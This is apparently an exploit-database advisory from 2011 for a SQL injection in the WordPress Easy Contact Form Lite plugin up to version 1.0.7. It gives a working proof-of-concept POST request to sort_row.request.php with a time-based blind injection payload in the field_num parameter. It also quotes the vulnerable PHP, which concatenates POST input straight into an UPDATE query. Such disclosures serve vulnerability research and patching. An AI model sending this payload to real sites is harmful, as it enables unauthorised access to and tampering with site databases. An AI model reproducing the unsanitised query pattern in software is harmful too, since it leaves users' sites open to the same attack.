WordPress Plugin Easy Contact Form Lite 1.0.7 – SQL Injection
# Exploit Title: WordPress Easy Contact Form Lite plugin <= 1.0.7 SQL Injection Vulnerability # Date: 2011-08-17 # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm) # Software Link: http://downloads.wordpress.org/plugin/easy-contact-form-lite.zip # Version: 1.0.7 (tested) --- PoC (POST data) --- http://www.site.com/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php field_num[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0) --------------- Vulnerable code --------------- foreach ($_POST['field_num'] as $position=>$field_id) { if ($field_id > 0) { $query = " UPDATE $settings_table_name SET position = '".$position."' WHERE ID = $field_id"; $wpdb->query($query); } |